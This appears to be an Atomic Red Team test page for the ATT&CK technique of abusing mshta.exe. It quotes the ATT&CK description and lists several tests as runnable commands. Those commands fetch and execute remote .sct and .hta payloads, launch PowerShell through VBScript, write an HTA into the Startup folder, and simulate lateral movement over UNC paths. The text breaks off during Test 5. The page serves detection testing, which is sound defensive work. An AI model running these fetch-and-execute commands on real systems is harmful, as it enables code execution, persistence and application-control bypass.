# T1218.005 - Signed Binary Proxy Execution: Mshta

## Description from ATT&CK

> Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
> 
> Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
> 
> Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>
> 
> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>
> 
> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

[Source](https://attack.mitre.org/techniques/T1218/005)

## Atomic Tests

- [Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject](#atomic-test-1-mshta-executes-javascript-scheme-fetch-remote-payload-with-getobject)
- [Atomic Test #2: Mshta executes VBScript to execute malicious command](#atomic-test-2-mshta-executes-vbscript-to-execute-malicious-command)
- [Atomic Test #3: Mshta Executes Remote HTML Application (HTA)](#atomic-test-3-mshta-executes-remote-html-application-hta)
- [Atomic Test #4: Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement](#atomic-test-4-invoke-html-application---jscript-engine-over-local-unc-simulating-lateral-movement)
- [Atomic Test #5: Invoke HTML Application - Jscript Engine Simulating Double Click](#atomic-test-5-invoke-html-application---jscript-engine-simulating-double-click)
- [Atomic Test #6: Invoke HTML Application - Direct download from URI](#atomic-test-6-invoke-html-application---direct-download-from-uri)
- [Atomic Test #7: Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler](#atomic-test-7-invoke-html-application---jscript-engine-with-rundll32-and-inline-protocol-handler)
- [Atomic Test #8: Invoke HTML Application - JScript Engine with Inline Protocol Handler](#atomic-test-8-invoke-html-application---jscript-engine-with-inline-protocol-handler)
- [Atomic Test #9: Invoke HTML Application - Simulate Lateral Movement over UNC Path](#atomic-test-9-invoke-html-application---simulate-lateral-movement-over-unc-path)
- [Atomic Test #10: Mshta used to Execute PowerShell](#atomic-test-10-mshta-used-to-execute-powershell)

### Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject

Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** `1483fab9-4f52-4217-a9ce-daa9d7747cae`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_url | location of the payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/mshta.sct|

#### Attack Commands: Run with `command_prompt`!

```cmd
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
```

### Atomic Test #2: Mshta executes VBScript to execute malicious command

Run a local VB script to run local user enumeration powershell command.
This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.
Upon execution, a new PowerShell windows will be opened that displays user information.

**Supported Platforms:** Windows

**auto_generated_guid:** `906865c3-e05f-4acc-85c4-fbc185455095`

#### Attack Commands: Run with `command_prompt`!

```cmd
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")
```

### Atomic Test #3: Mshta Executes Remote HTML Application (HTA)

Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.

**Supported Platforms:** Windows

**auto_generated_guid:** `c4b97eeb-5249-4455-a607-59f95485cb45`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| temp_file | temp_file location for hta | string | $env:appdata&#92;Microsoft&#92;Windows&#92;Start Menu&#92;Programs&#92;Startup&#92;T1218.005.hta|
| hta_url | URL to HTA file for execution | string | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta|

#### Attack Commands: Run with `powershell`!

```powershell
$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"
start-sleep -s 15
stop-process -name "calculator" -Force -ErrorAction Ignore
stop-process -name "CalculatorApp" -Force -ErrorAction Ignore
```

#### Cleanup Commands

```powershell
remove-item "#{temp_file}" -ErrorAction Ignore
```
### Atomic Test #4: Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement

Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.

**Supported Platforms:** Windows

**auto_generated_guid:** `007e5672-2088-4853-a562-7490ddc19447`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_engine | Script Engine to use | string | JScript|
| hta_file_path | HTA file name and or path to be used | string | Test.hta|
| mshta_file_path | Location of mshta.exe | string | $env:windir&#92;system32&#92;mshta.exe|

#### Attack Commands: Run with `powershell`!

```powershell
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}
```


#### Dependencies: Run with `powershell`!

##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.

###### Check Prereq Commands

```powershell
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
```

###### Get Prereq Commands

```powershell
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
```

### Atomic Test #5: Invoke HTML Application - Jscript Engine Simulating Double Click

Executes an HTA Application using JScript script engine si